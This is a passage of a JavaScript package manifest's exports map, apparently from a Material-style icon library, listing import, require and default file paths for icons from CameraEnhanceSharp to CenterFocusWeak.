\"import\": \"./CameraEnhanceSharp.mjs\",\n      \"require\": \"./CameraEnhanceSharp.js\",\n      \"default\": \"./CameraEnhanceSharp.mjs\"\n    },\n    \"./CameraEnhanceTwoTone\": {\n      \"import\": \"./CameraEnhanceTwoTone.mjs\",\n      \"require\": \"./CameraEnhanceTwoTone.js\",\n      \"default\": \"./CameraEnhanceTwoTone.mjs\"\n    },\n    \"./CameraFront\": {\n      \"import\": \"./CameraFront.mjs\",\n      \"require\": \"./CameraFront.js\",\n      \"default\": \"./CameraFront.mjs\"\n    },\n    \"./CameraFrontOutlined\": {\n      \"import\": \"./CameraFrontOutlined.mjs\",\n      \"require\": \"./CameraFrontOutlined.js\",\n      \"default\": \"./CameraFrontOutlined.mjs\"\n    },\n    \"./CameraFrontRounded\": {\n      \"import\": \"./CameraFrontRounded.mjs\",\n      \"require\": \"./CameraFrontRounded.js\",\n      \"default\": \"./CameraFrontRounded.mjs\"\n    },\n    \"./CameraFrontSharp\": {\n      \"import\": \"./CameraFrontSharp.mjs\",\n      \"require\": \"./CameraFrontSharp.js\",\n      \"default\": \"./CameraFrontSharp.mjs\"\n    },\n    \"./CameraFrontTwoTone\": {\n      \"import\": \"./CameraFrontTwoTone.mjs\",\n      \"require\": \"./CameraFrontTwoTone.js\",\n      \"default\": \"./CameraFrontTwoTone.mjs\"\n    },\n    \"./CameraIndoor\": {\n      \"import\": \"./CameraIndoor.mjs\",\n      \"require\": \"./CameraIndoor.js\",\n      \"default\": \"./CameraIndoor.mjs\"\n    },\n    \"./CameraIndoorOutlined\": {\n      \"import\": \"./CameraIndoorOutlined.mjs\",\n      \"require\": \"./CameraIndoorOutlined.js\",\n      \"default\": \"./CameraIndoorOutlined.mjs\"\n    },\n    \"./CameraIndoorRounded\": {\n      \"import\": \"./CameraIndoorRounded.mjs\",\n      \"require\": \"./CameraIndoorRounded.js\",\n      \"default\": \"./CameraIndoorRounded.mjs\"\n    },\n    \"./CameraIndoorSharp\": {\n      \"import\": \"./CameraIndoorSharp.mjs\",\n      \"require\": \"./CameraIndoorSharp.js\",\n      \"default\": \"./CameraIndoorSharp.mjs\"\n    },\n    \"./CameraIndoorTwoTone\": {\n      \"import\": \"./CameraIndoorTwoTone.mjs\",\n      \"require\": \"./CameraIndoorTwoTone.js\",\n      \"default\": \"./CameraIndoorTwoTone.mjs\"\n    },\n    \"./CameraOutdoor\": {\n      \"import\": \"./CameraOutdoor.mjs\",\n      \"require\": \"./CameraOutdoor.js\",\n      \"default\": \"./CameraOutdoor.mjs\"\n    },\n    \"./CameraOutdoorOutlined\": {\n      \"import\": \"./CameraOutdoorOutlined.mjs\",\n      \"require\": \"./CameraOutdoorOutlined.js\",\n      \"default\": \"./CameraOutdoorOutlined.mjs\"\n    },\n    \"./CameraOutdoorRounded\": {\n      \"import\": \"./CameraOutdoorRounded.mjs\",\n      \"require\": \"./CameraOutdoorRounded.js\",\n      \"default\": \"./CameraOutdoorRounded.mjs\"\n    },\n    \"./CameraOutdoorSharp\": {\n      \"import\": \"./CameraOutdoorSharp.mjs\",\n      \"require\": \"./CameraOutdoorSharp.js\",\n      \"default\": \"./CameraOutdoorSharp.mjs\"\n    },\n    \"./CameraOutdoorTwoTone\": {\n      \"import\": \"./CameraOutdoorTwoTone.mjs\",\n      \"require\": \"./CameraOutdoorTwoTone.js\",\n      \"default\": \"./CameraOutdoorTwoTone.mjs\"\n    },\n    \"./CameraOutlined\": {\n      \"import\": \"./CameraOutlined.mjs\",\n      \"require\": \"./CameraOutlined.js\",\n      \"default\": \"./CameraOutlined.mjs\"\n    },\n    \"./CameraRear\": {\n      \"require\": \"./CameraRear.js\",\n      \"import\": \"./CameraRear.mjs\",\n      \"default\": \"./CameraRear.mjs\"\n    },\n    \"./CameraRearOutlined\": {\n      \"require\": \"./CameraRearOutlined.js\",\n      \"import\": \"./CameraRearOutlined.mjs\",\n      \"default\": \"./CameraRearOutlined.mjs\"\n    },\n    \"./CameraRearRounded\": {\n      \"require\": \"./CameraRearRounded.js\",\n      \"import\": \"./CameraRearRounded.mjs\",\n      \"default\": \"./CameraRearRounded.mjs\"\n    },\n    \"./CameraRearSharp\": {\n      \"require\": \"./CameraRearSharp.js\",\n      \"import\": \"./CameraRearSharp.mjs\",\n      \"default\": \"./CameraRearSharp.mjs\"\n    },\n    \"./CameraRearTwoTone\": {\n      \"require\": \"./CameraRearTwoTone.js\",\n      \"import\": \"./CameraRearTwoTone.mjs\",\n      \"default\": \"./CameraRearTwoTone.mjs\"\n    },\n    \"./CameraRoll\": {\n      \"require\": \"./CameraRoll.js\",\n      \"import\": \"./CameraRoll.mjs\",\n      \"default\": \"./CameraRoll.mjs\"\n    },\n    \"./CameraRollOutlined\": {\n      \"require\": \"./CameraRollOutlined.js\",\n      \"import\": \"./CameraRollOutlined.mjs\",\n      \"default\": \"./CameraRollOutlined.mjs\"\n    },\n    \"./CameraRollRounded\": {\n      \"require\": \"./CameraRollRounded.js\",\n      \"import\": \"./CameraRollRounded.mjs\",\n      \"default\": \"./CameraRollRounded.mjs\"\n    },\n    \"./CameraRollSharp\": {\n      \"require\": \"./CameraRollSharp.js\",\n      \"import\": \"./CameraRollSharp.mjs\",\n      \"default\": \"./CameraRollSharp.mjs\"\n    },\n    \"./CameraRollTwoTone\": {\n      \"require\": \"./CameraRollTwoTone.js\",\n      \"import\": \"./CameraRollTwoTone.mjs\",\n      \"default\": \"./CameraRollTwoTone.mjs\"\n    },\n    \"./CameraRounded\": {\n      \"require\": \"./CameraRounded.js\",\n      \"import\": \"./CameraRounded.mjs\",\n      \"default\": \"./CameraRounded.mjs\"\n    },\n    \"./CameraSharp\": {\n      \"require\": \"./CameraSharp.js\",\n      \"import\": \"./CameraSharp.mjs\",\n      \"default\": \"./CameraSharp.mjs\"\n    },\n    \"./CameraTwoTone\": {\n      \"require\": \"./CameraTwoTone.js\",\n      \"import\": \"./CameraTwoTone.mjs\",\n      \"default\": \"./CameraTwoTone.mjs\"\n    },\n    \"./Cameraswitch\": {\n      \"require\": \"./Cameraswitch.js\",\n      \"import\": \"./Cameraswitch.mjs\",\n      \"default\": \"./Cameraswitch.mjs\"\n    },\n    \"./CameraswitchOutlined\": {\n      \"require\": \"./CameraswitchOutlined.js\",\n      \"import\": \"./CameraswitchOutlined.mjs\",\n      \"default\": \"./CameraswitchOutlined.mjs\"\n    },\n    \"./CameraswitchRounded\": {\n      \"import\": \"./CameraswitchRounded.mjs\",\n      \"require\": \"./CameraswitchRounded.js\",\n      \"default\": \"./CameraswitchRounded.mjs\"\n    },\n    \"./CameraswitchSharp\": {\n      \"import\": \"./CameraswitchSharp.mjs\",\n      \"require\": \"./CameraswitchSharp.js\",\n      \"default\": \"./CameraswitchSharp.mjs\"\n    },\n    \"./CameraswitchTwoTone\": {\n      \"import\": \"./CameraswitchTwoTone.mjs\",\n      \"require\": \"./CameraswitchTwoTone.js\",\n      \"default\": \"./CameraswitchTwoTone.mjs\"\n    },\n    \"./Campaign\": {\n      \"import\": \"./Campaign.mjs\",\n      \"require\": \"./Campaign.js\",\n      \"default\": \"./Campaign.mjs\"\n    },\n    \"./CampaignOutlined\": {\n      \"import\": \"./CampaignOutlined.mjs\",\n      \"require\": \"./CampaignOutlined.js\",\n      \"default\": \"./CampaignOutlined.mjs\"\n    },\n    \"./CampaignRounded\": {\n      \"import\": \"./CampaignRounded.mjs\",\n      \"require\": \"./CampaignRounded.js\",\n      \"default\": \"./CampaignRounded.mjs\"\n    },\n    \"./CampaignSharp\": {\n      \"import\": \"./CampaignSharp.mjs\",\n      \"require\": \"./CampaignSharp.js\",\n      \"default\": \"./CampaignSharp.mjs\"\n    },\n    \"./CampaignTwoTone\": {\n      \"import\": \"./CampaignTwoTone.mjs\",\n      \"require\": \"./CampaignTwoTone.js\",\n      \"default\": \"./CampaignTwoTone.mjs\"\n    },\n    \"./Cancel\": {\n      \"import\": \"./Cancel.mjs\",\n      \"require\": \"./Cancel.js\",\n      \"default\": \"./Cancel.mjs\"\n    },\n    \"./CancelOutlined\": {\n      \"import\": \"./CancelOutlined.mjs\",\n      \"require\": \"./CancelOutlined.js\",\n      \"default\": \"./CancelOutlined.mjs\"\n    },\n    \"./CancelPresentation\": {\n      \"require\": \"./CancelPresentation.js\",\n      \"import\": \"./CancelPresentation.mjs\",\n      \"default\": \"./CancelPresentation.mjs\"\n    },\n    \"./CancelPresentationOutlined\": {\n      \"require\": \"./CancelPresentationOutlined.js\",\n      \"import\": \"./CancelPresentationOutlined.mjs\",\n      \"default\": \"./CancelPresentationOutlined.mjs\"\n    },\n    \"./CancelPresentationRounded\": {\n      \"require\": \"./CancelPresentationRounded.js\",\n      \"import\": \"./CancelPresentationRounded.mjs\",\n      \"default\": \"./CancelPresentationRounded.mjs\"\n    },\n    \"./CancelPresentationSharp\": {\n      \"import\": \"./CancelPresentationSharp.mjs\",\n      \"require\": \"./CancelPresentationSharp.js\",\n      \"default\": \"./CancelPresentationSharp.mjs\"\n    },\n    \"./CancelPresentationTwoTone\": {\n      \"import\": \"./CancelPresentationTwoTone.mjs\",\n      \"require\": \"./CancelPresentationTwoTone.js\",\n      \"default\": \"./CancelPresentationTwoTone.mjs\"\n    },\n    \"./CancelRounded\": {\n      \"import\": \"./CancelRounded.mjs\",\n      \"require\": \"./CancelRounded.js\",\n      \"default\": \"./CancelRounded.mjs\"\n    },\n    \"./CancelScheduleSend\": {\n      \"import\": \"./CancelScheduleSend.mjs\",\n      \"require\": \"./CancelScheduleSend.js\",\n      \"default\": \"./CancelScheduleSend.mjs\"\n    },\n    \"./CancelScheduleSendOutlined\": {\n      \"import\": \"./CancelScheduleSendOutlined.mjs\",\n      \"require\": \"./CancelScheduleSendOutlined.js\",\n      \"default\": \"./CancelScheduleSendOutlined.mjs\"\n    },\n    \"./CancelScheduleSendRounded\": {\n      \"import\": \"./CancelScheduleSendRounded.mjs\",\n      \"require\": \"./CancelScheduleSendRounded.js\",\n      \"default\": \"./CancelScheduleSendRounded.mjs\"\n    },\n    \"./CancelScheduleSendSharp\": {\n      \"import\": \"./CancelScheduleSendSharp.mjs\",\n      \"require\": \"./CancelScheduleSendSharp.js\",\n      \"default\": \"./CancelScheduleSendSharp.mjs\"\n    },\n    \"./CancelScheduleSendTwoTone\": {\n      \"require\": \"./CancelScheduleSendTwoTone.js\",\n      \"import\": \"./CancelScheduleSendTwoTone.mjs\",\n      \"default\": \"./CancelScheduleSendTwoTone.mjs\"\n    },\n    \"./CancelSharp\": {\n      \"require\": \"./CancelSharp.js\",\n      \"import\": \"./CancelSharp.mjs\",\n      \"default\": \"./CancelSharp.mjs\"\n    },\n    \"./CancelTwoTone\": {\n      \"require\": \"./CancelTwoTone.js\",\n      \"import\": \"./CancelTwoTone.mjs\",\n      \"default\": \"./CancelTwoTone.mjs\"\n    },\n    \"./CandlestickChart\": {\n      \"import\": \"./CandlestickChart.mjs\",\n      \"require\": \"./CandlestickChart.js\",\n      \"default\": \"./CandlestickChart.mjs\"\n    },\n    \"./CandlestickChartOutlined\": {\n      \"import\": \"./CandlestickChartOutlined.mjs\",\n      \"require\": \"./CandlestickChartOutlined.js\",\n      \"default\": \"./CandlestickChartOutlined.mjs\"\n    },\n    \"./CandlestickChartRounded\": {\n      \"import\": \"./CandlestickChartRounded.mjs\",\n      \"require\": \"./CandlestickChartRounded.js\",\n      \"default\": \"./CandlestickChartRounded.mjs\"\n    },\n    \"./CandlestickChartSharp\": {\n      \"import\": \"./CandlestickChartSharp.mjs\",\n      \"require\": \"./CandlestickChartSharp.js\",\n      \"default\": \"./CandlestickChartSharp.mjs\"\n    },\n    \"./CandlestickChartTwoTone\": {\n      \"import\": \"./CandlestickChartTwoTone.mjs\",\n      \"require\": \"./CandlestickChartTwoTone.js\",\n      \"default\": \"./CandlestickChartTwoTone.mjs\"\n    },\n    \"./CarCrash\": {\n      \"import\": \"./CarCrash.mjs\",\n      \"require\": \"./CarCrash.js\",\n      \"default\": \"./CarCrash.mjs\"\n    },\n    \"./CarCrashOutlined\": {\n      \"import\": \"./CarCrashOutlined.mjs\",\n      \"require\": \"./CarCrashOutlined.js\",\n      \"default\": \"./CarCrashOutlined.mjs\"\n    },\n    \"./CarCrashRounded\": {\n      \"import\": \"./CarCrashRounded.mjs\",\n      \"require\": \"./CarCrashRounded.js\",\n      \"default\": \"./CarCrashRounded.mjs\"\n    },\n    \"./CarCrashSharp\": {\n      \"import\": \"./CarCrashSharp.mjs\",\n      \"require\": \"./CarCrashSharp.js\",\n      \"default\": \"./CarCrashSharp.mjs\"\n    },\n    \"./CarCrashTwoTone\": {\n      \"import\": \"./CarCrashTwoTone.mjs\",\n      \"require\": \"./CarCrashTwoTone.js\",\n      \"default\": \"./CarCrashTwoTone.mjs\"\n    },\n    \"./CarRental\": {\n      \"import\": \"./CarRental.mjs\",\n      \"require\": \"./CarRental.js\",\n      \"default\": \"./CarRental.mjs\"\n    },\n    \"./CarRentalOutlined\": {\n      \"import\": \"./CarRentalOutlined.mjs\",\n      \"require\": \"./CarRentalOutlined.js\",\n      \"default\": \"./CarRentalOutlined.mjs\"\n    },\n    \"./CarRentalRounded\": {\n      \"import\": \"./CarRentalRounded.mjs\",\n      \"require\": \"./CarRentalRounded.js\",\n      \"default\": \"./CarRentalRounded.mjs\"\n    },\n    \"./CarRentalSharp\": {\n      \"import\": \"./CarRentalSharp.mjs\",\n      \"require\": \"./CarRentalSharp.js\",\n      \"default\": \"./CarRentalSharp.mjs\"\n    },\n    \"./CarRentalTwoTone\": {\n      \"import\": \"./CarRentalTwoTone.mjs\",\n      \"require\": \"./CarRentalTwoTone.js\",\n      \"default\": \"./CarRentalTwoTone.mjs\"\n    },\n    \"./CarRepair\": {\n      \"import\": \"./CarRepair.mjs\",\n      \"require\": \"./CarRepair.js\",\n      \"default\": \"./CarRepair.mjs\"\n    },\n    \"./CarRepairOutlined\": {\n      \"import\": \"./CarRepairOutlined.mjs\",\n      \"require\": \"./CarRepairOutlined.js\",\n      \"default\": \"./CarRepairOutlined.mjs\"\n    },\n    \"./CarRepairRounded\": {\n      \"import\": \"./CarRepairRounded.mjs\",\n      \"require\": \"./CarRepairRounded.js\",\n      \"default\": \"./CarRepairRounded.mjs\"\n    },\n    \"./CarRepairSharp\": {\n      \"import\": \"./CarRepairSharp.mjs\",\n      \"require\": \"./CarRepairSharp.js\",\n      \"default\": \"./CarRepairSharp.mjs\"\n    },\n    \"./CarRepairTwoTone\": {\n      \"import\": \"./CarRepairTwoTone.mjs\",\n      \"require\": \"./CarRepairTwoTone.js\",\n      \"default\": \"./CarRepairTwoTone.mjs\"\n    },\n    \"./CardGiftcard\": {\n      \"import\": \"./CardGiftcard.mjs\",\n      \"require\": \"./CardGiftcard.js\",\n      \"default\": \"./CardGiftcard.mjs\"\n    },\n    \"./CardGiftcardOutlined\": {\n      \"import\": \"./CardGiftcardOutlined.mjs\",\n      \"require\": \"./CardGiftcardOutlined.js\",\n      \"default\": \"./CardGiftcardOutlined.mjs\"\n    },\n    \"./CardGiftcardRounded\": {\n      \"import\": \"./CardGiftcardRounded.mjs\",\n      \"require\": \"./CardGiftcardRounded.js\",\n      \"default\": \"./CardGiftcardRounded.mjs\"\n    },\n    \"./CardGiftcardSharp\": {\n      \"import\": \"./CardGiftcardSharp.mjs\",\n      \"require\": \"./CardGiftcardSharp.js\",\n      \"default\": \"./CardGiftcardSharp.mjs\"\n    },\n    \"./CardGiftcardTwoTone\": {\n      \"import\": \"./CardGiftcardTwoTone.mjs\",\n      \"require\": \"./CardGiftcardTwoTone.js\",\n      \"default\": \"./CardGiftcardTwoTone.mjs\"\n    },\n    \"./CardMembership\": {\n      \"import\": \"./CardMembership.mjs\",\n      \"require\": \"./CardMembership.js\",\n      \"default\": \"./CardMembership.mjs\"\n    },\n    \"./CardMembershipOutlined\": {\n      \"import\": \"./CardMembershipOutlined.mjs\",\n      \"require\": \"./CardMembershipOutlined.js\",\n      \"default\": \"./CardMembershipOutlined.mjs\"\n    },\n    \"./CardMembershipRounded\": {\n      \"import\": \"./CardMembershipRounded.mjs\",\n      \"require\": \"./CardMembershipRounded.js\",\n      \"default\": \"./CardMembershipRounded.mjs\"\n    },\n    \"./CardMembershipSharp\": {\n      \"require\": \"./CardMembershipSharp.js\",\n      \"import\": \"./CardMembershipSharp.mjs\",\n      \"default\": \"./CardMembershipSharp.mjs\"\n    },\n    \"./CardMembershipTwoTone\": {\n      \"require\": \"./CardMembershipTwoTone.js\",\n      \"import\": \"./CardMembershipTwoTone.mjs\",\n      \"default\": \"./CardMembershipTwoTone.mjs\"\n    },\n    \"./CardTravel\": {\n      \"require\": \"./CardTravel.js\",\n      \"import\": \"./CardTravel.mjs\",\n      \"default\": \"./CardTravel.mjs\"\n    },\n    \"./CardTravelOutlined\": {\n      \"require\": \"./CardTravelOutlined.js\",\n      \"import\": \"./CardTravelOutlined.mjs\",\n      \"default\": \"./CardTravelOutlined.mjs\"\n    },\n    \"./CardTravelRounded\": {\n      \"require\": \"./CardTravelRounded.js\",\n      \"import\": \"./CardTravelRounded.mjs\",\n      \"default\": \"./CardTravelRounded.mjs\"\n    },\n    \"./CardTravelSharp\": {\n      \"require\": \"./CardTravelSharp.js\",\n      \"import\": \"./CardTravelSharp.mjs\",\n      \"default\": \"./CardTravelSharp.mjs\"\n    },\n    \"./CardTravelTwoTone\": {\n      \"require\": \"./CardTravelTwoTone.js\",\n      \"import\": \"./CardTravelTwoTone.mjs\",\n      \"default\": \"./CardTravelTwoTone.mjs\"\n    },\n    \"./Carpenter\": {\n      \"require\": \"./Carpenter.js\",\n      \"import\": \"./Carpenter.mjs\",\n      \"default\": \"./Carpenter.mjs\"\n    },\n    \"./CarpenterOutlined\": {\n      \"require\": \"./CarpenterOutlined.js\",\n      \"import\": \"./CarpenterOutlined.mjs\",\n      \"default\": \"./CarpenterOutlined.mjs\"\n    },\n    \"./CarpenterRounded\": {\n      \"require\": \"./CarpenterRounded.js\",\n      \"import\": \"./CarpenterRounded.mjs\",\n      \"default\": \"./CarpenterRounded.mjs\"\n    },\n    \"./CarpenterSharp\": {\n      \"require\": \"./CarpenterSharp.js\",\n      \"import\": \"./CarpenterSharp.mjs\",\n      \"default\": \"./CarpenterSharp.mjs\"\n    },\n    \"./CarpenterTwoTone\": {\n      \"require\": \"./CarpenterTwoTone.js\",\n      \"import\": \"./CarpenterTwoTone.mjs\",\n      \"default\": \"./CarpenterTwoTone.mjs\"\n    },\n    \"./Cases\": {\n      \"require\": \"./Cases.js\",\n      \"import\": \"./Cases.mjs\",\n      \"default\": \"./Cases.mjs\"\n    },\n    \"./CasesOutlined\": {\n      \"import\": \"./CasesOutlined.mjs\",\n      \"require\": \"./CasesOutlined.js\",\n      \"default\": \"./CasesOutlined.mjs\"\n    },\n    \"./CasesRounded\": {\n      \"import\": \"./CasesRounded.mjs\",\n      \"require\": \"./CasesRounded.js\",\n      \"default\": \"./CasesRounded.mjs\"\n    },\n    \"./CasesSharp\": {\n      \"import\": \"./CasesSharp.mjs\",\n      \"require\": \"./CasesSharp.js\",\n      \"default\": \"./CasesSharp.mjs\"\n    },\n    \"./CasesTwoTone\": {\n      \"import\": \"./CasesTwoTone.mjs\",\n      \"require\": \"./CasesTwoTone.js\",\n      \"default\": \"./CasesTwoTone.mjs\"\n    },\n    \"./Casino\": {\n      \"import\": \"./Casino.mjs\",\n      \"require\": \"./Casino.js\",\n      \"default\": \"./Casino.mjs\"\n    },\n    \"./CasinoOutlined\": {\n      \"import\": \"./CasinoOutlined.mjs\",\n      \"require\": \"./CasinoOutlined.js\",\n      \"default\": \"./CasinoOutlined.mjs\"\n    },\n    \"./CasinoRounded\": {\n      \"import\": \"./CasinoRounded.mjs\",\n      \"require\": \"./CasinoRounded.js\",\n      \"default\": \"./CasinoRounded.mjs\"\n    },\n    \"./CasinoSharp\": {\n      \"require\": \"./CasinoSharp.js\",\n      \"import\": \"./CasinoSharp.mjs\",\n      \"default\": \"./CasinoSharp.mjs\"\n    },\n    \"./CasinoTwoTone\": {\n      \"require\": \"./CasinoTwoTone.js\",\n      \"import\": \"./CasinoTwoTone.mjs\",\n      \"default\": \"./CasinoTwoTone.mjs\"\n    },\n    \"./Cast\": {\n      \"require\": \"./Cast.js\",\n      \"import\": \"./Cast.mjs\",\n      \"default\": \"./Cast.mjs\"\n    },\n    \"./CastConnected\": {\n      \"require\": \"./CastConnected.js\",\n      \"import\": \"./CastConnected.mjs\",\n      \"default\": \"./CastConnected.mjs\"\n    },\n    \"./CastConnectedOutlined\": {\n      \"require\": \"./CastConnectedOutlined.js\",\n      \"import\": \"./CastConnectedOutlined.mjs\",\n      \"default\": \"./CastConnectedOutlined.mjs\"\n    },\n    \"./CastConnectedRounded\": {\n      \"require\": \"./CastConnectedRounded.js\",\n      \"import\": \"./CastConnectedRounded.mjs\",\n      \"default\": \"./CastConnectedRounded.mjs\"\n    },\n    \"./CastConnectedSharp\": {\n      \"require\": \"./CastConnectedSharp.js\",\n      \"import\": \"./CastConnectedSharp.mjs\",\n      \"default\": \"./CastConnectedSharp.mjs\"\n    },\n    \"./CastConnectedTwoTone\": {\n      \"require\": \"./CastConnectedTwoTone.js\",\n      \"import\": \"./CastConnectedTwoTone.mjs\",\n      \"default\": \"./CastConnectedTwoTone.mjs\"\n    },\n    \"./CastForEducation\": {\n      \"require\": \"./CastForEducation.js\",\n      \"import\": \"./CastForEducation.mjs\",\n      \"default\": \"./CastForEducation.mjs\"\n    },\n    \"./CastForEducationOutlined\": {\n      \"require\": \"./CastForEducationOutlined.js\",\n      \"import\": \"./CastForEducationOutlined.mjs\",\n      \"default\": \"./CastForEducationOutlined.mjs\"\n    },\n    \"./CastForEducationRounded\": {\n      \"require\": \"./CastForEducationRounded.js\",\n      \"import\": \"./CastForEducationRounded.mjs\",\n      \"default\": \"./CastForEducationRounded.mjs\"\n    },\n    \"./CastForEducationSharp\": {\n      \"require\": \"./CastForEducationSharp.js\",\n      \"import\": \"./CastForEducationSharp.mjs\",\n      \"default\": \"./CastForEducationSharp.mjs\"\n    },\n    \"./CastForEducationTwoTone\": {\n      \"require\": \"./CastForEducationTwoTone.js\",\n      \"import\": \"./CastForEducationTwoTone.mjs\",\n      \"default\": \"./CastForEducationTwoTone.mjs\"\n    },\n    \"./CastOutlined\": {\n      \"require\": \"./CastOutlined.js\",\n      \"import\": \"./CastOutlined.mjs\",\n      \"default\": \"./CastOutlined.mjs\"\n    },\n    \"./CastRounded\": {\n      \"import\": \"./CastRounded.mjs\",\n      \"require\": \"./CastRounded.js\",\n      \"default\": \"./CastRounded.mjs\"\n    },\n    \"./CastSharp\": {\n      \"import\": \"./CastSharp.mjs\",\n      \"require\": \"./CastSharp.js\",\n      \"default\": \"./CastSharp.mjs\"\n    },\n    \"./CastTwoTone\": {\n      \"import\": \"./CastTwoTone.mjs\",\n      \"require\": \"./CastTwoTone.js\",\n      \"default\": \"./CastTwoTone.mjs\"\n    },\n    \"./Castle\": {\n      \"import\": \"./Castle.mjs\",\n      \"require\": \"./Castle.js\",\n      \"default\": \"./Castle.mjs\"\n    },\n    \"./CastleOutlined\": {\n      \"import\": \"./CastleOutlined.mjs\",\n      \"require\": \"./CastleOutlined.js\",\n      \"default\": \"./CastleOutlined.mjs\"\n    },\n    \"./CastleRounded\": {\n      \"import\": \"./CastleRounded.mjs\",\n      \"require\": \"./CastleRounded.js\",\n      \"default\": \"./CastleRounded.mjs\"\n    },\n    \"./CastleSharp\": {\n      \"import\": \"./CastleSharp.mjs\",\n      \"require\": \"./CastleSharp.js\",\n      \"default\": \"./CastleSharp.mjs\"\n    },\n    \"./CastleTwoTone\": {\n      \"import\": \"./CastleTwoTone.mjs\",\n      \"require\": \"./CastleTwoTone.js\",\n      \"default\": \"./CastleTwoTone.mjs\"\n    },\n    \"./CatchingPokemon\": {\n      \"import\": \"./CatchingPokemon.mjs\",\n      \"require\": \"./CatchingPokemon.js\",\n      \"default\": \"./CatchingPokemon.mjs\"\n    },\n    \"./CatchingPokemonOutlined\": {\n      \"require\": \"./CatchingPokemonOutlined.js\",\n      \"import\": \"./CatchingPokemonOutlined.mjs\",\n      \"default\": \"./CatchingPokemonOutlined.mjs\"\n    },\n    \"./CatchingPokemonRounded\": {\n      \"require\": \"./CatchingPokemonRounded.js\",\n      \"import\": \"./CatchingPokemonRounded.mjs\",\n      \"default\": \"./CatchingPokemonRounded.mjs\"\n    },\n    \"./CatchingPokemonSharp\": {\n      \"require\": \"./CatchingPokemonSharp.js\",\n      \"import\": \"./CatchingPokemonSharp.mjs\",\n      \"default\": \"./CatchingPokemonSharp.mjs\"\n    },\n    \"./CatchingPokemonTwoTone\": {\n      \"require\": \"./CatchingPokemonTwoTone.js\",\n      \"import\": \"./CatchingPokemonTwoTone.mjs\",\n      \"default\": \"./CatchingPokemonTwoTone.mjs\"\n    },\n    \"./Category\": {\n      \"require\": \"./Category.js\",\n      \"import\": \"./Category.mjs\",\n      \"default\": \"./Category.mjs\"\n    },\n    \"./CategoryOutlined\": {\n      \"require\": \"./CategoryOutlined.js\",\n      \"import\": \"./CategoryOutlined.mjs\",\n      \"default\": \"./CategoryOutlined.mjs\"\n    },\n    \"./CategoryRounded\": {\n      \"import\": \"./CategoryRounded.mjs\",\n      \"require\": \"./CategoryRounded.js\",\n      \"default\": \"./CategoryRounded.mjs\"\n    },\n    \"./CategorySharp\": {\n      \"import\": \"./CategorySharp.mjs\",\n      \"require\": \"./CategorySharp.js\",\n      \"default\": \"./CategorySharp.mjs\"\n    },\n    \"./CategoryTwoTone\": {\n      \"require\": \"./CategoryTwoTone.js\",\n      \"import\": \"./CategoryTwoTone.mjs\",\n      \"default\": \"./CategoryTwoTone.mjs\"\n    },\n    \"./Celebration\": {\n      \"require\": \"./Celebration.js\",\n      \"import\": \"./Celebration.mjs\",\n      \"default\": \"./Celebration.mjs\"\n    },\n    \"./CelebrationOutlined\": {\n      \"require\": \"./CelebrationOutlined.js\",\n      \"import\": \"./CelebrationOutlined.mjs\",\n      \"default\": \"./CelebrationOutlined.mjs\"\n    },\n    \"./CelebrationRounded\": {\n      \"require\": \"./CelebrationRounded.js\",\n      \"import\": \"./CelebrationRounded.mjs\",\n      \"default\": \"./CelebrationRounded.mjs\"\n    },\n    \"./CelebrationSharp\": {\n      \"require\": \"./CelebrationSharp.js\",\n      \"import\": \"./CelebrationSharp.mjs\",\n      \"default\": \"./CelebrationSharp.mjs\"\n    },\n    \"./CelebrationTwoTone\": {\n      \"require\": \"./CelebrationTwoTone.js\",\n      \"import\": \"./CelebrationTwoTone.mjs\",\n      \"default\": \"./CelebrationTwoTone.mjs\"\n    },\n    \"./CellTower\": {\n      \"require\": \"./CellTower.js\",\n      \"import\": \"./CellTower.mjs\",\n      \"default\": \"./CellTower.mjs\"\n    },\n    \"./CellTowerOutlined\": {\n      \"import\": \"./CellTowerOutlined.mjs\",\n      \"require\": \"./CellTowerOutlined.js\",\n      \"default\": \"./CellTowerOutlined.mjs\"\n    },\n    \"./CellTowerRounded\": {\n      \"import\": \"./CellTowerRounded.mjs\",\n      \"require\": \"./CellTowerRounded.js\",\n      \"default\": \"./CellTowerRounded.mjs\"\n    },\n    \"./CellTowerSharp\": {\n      \"import\": \"./CellTowerSharp.mjs\",\n      \"require\": \"./CellTowerSharp.js\",\n      \"default\": \"./CellTowerSharp.mjs\"\n    },\n    \"./CellTowerTwoTone\": {\n      \"import\": \"./CellTowerTwoTone.mjs\",\n      \"require\": \"./CellTowerTwoTone.js\",\n      \"default\": \"./CellTowerTwoTone.mjs\"\n    },\n    \"./CellWifi\": {\n      \"import\": \"./CellWifi.mjs\",\n      \"require\": \"./CellWifi.js\",\n      \"default\": \"./CellWifi.mjs\"\n    },\n    \"./CellWifiOutlined\": {\n      \"import\": \"./CellWifiOutlined.mjs\",\n      \"require\": \"./CellWifiOutlined.js\",\n      \"default\": \"./CellWifiOutlined.mjs\"\n    },\n    \"./CellWifiRounded\": {\n      \"import\": \"./CellWifiRounded.mjs\",\n      \"require\": \"./CellWifiRounded.js\",\n      \"default\": \"./CellWifiRounded.mjs\"\n    },\n    \"./CellWifiSharp\": {\n      \"require\": \"./CellWifiSharp.js\",\n      \"import\": \"./CellWifiSharp.mjs\",\n      \"default\": \"./CellWifiSharp.mjs\"\n    },\n    \"./CellWifiTwoTone\": {\n      \"require\": \"./CellWifiTwoTone.js\",\n      \"import\": \"./CellWifiTwoTone.mjs\",\n      \"default\": \"./CellWifiTwoTone.mjs\"\n    },\n    \"./CenterFocusStrong\": {\n      \"require\": \"./CenterFocusStrong.js\",\n      \"import\": \"./CenterFocusStrong.mjs\",\n      \"default\": \"./CenterFocusStrong.mjs\"\n    },\n    \"./CenterFocusStrongOutlined\": {\n      \"require\": \"./CenterFocusStrongOutlined.js\",\n      \"import\": \"./CenterFocusStrongOutlined.mjs\",\n      \"default\": \"./CenterFocusStrongOutlined.mjs\"\n    },\n    \"./CenterFocusStrongRounded\": {\n      \"require\": \"./CenterFocusStrongRounded.js\",\n      \"import\": \"./CenterFocusStrongRounded.mjs\",\n      \"default\": \"./CenterFocusStrongRounded.mjs\"\n    },\n    \"./CenterFocusStrongSharp\": {\n      \"require\": \"./CenterFocusStrongSharp.js\",\n      \"import\": \"./CenterFocusStrongSharp.mjs\",\n      \"default\": \"./CenterFocusStrongSharp.mjs\"\n    },\n    \"./CenterFocusStrongTwoTone\": {\n      \"require\": \"./CenterFocusStrongTwoTone.js\",\n      \"import\": \"./CenterFocusStrongTwoTone.mjs\",\n      \"default\": \"./CenterFocusStrongTwoTone.mjs\"\n    },\n    \"./CenterFocusWeak\": {\n      \"require\": \"./CenterFocusWeak.js\",\n      \"import\": \"./CenterFocusWeak.mjs\",\n    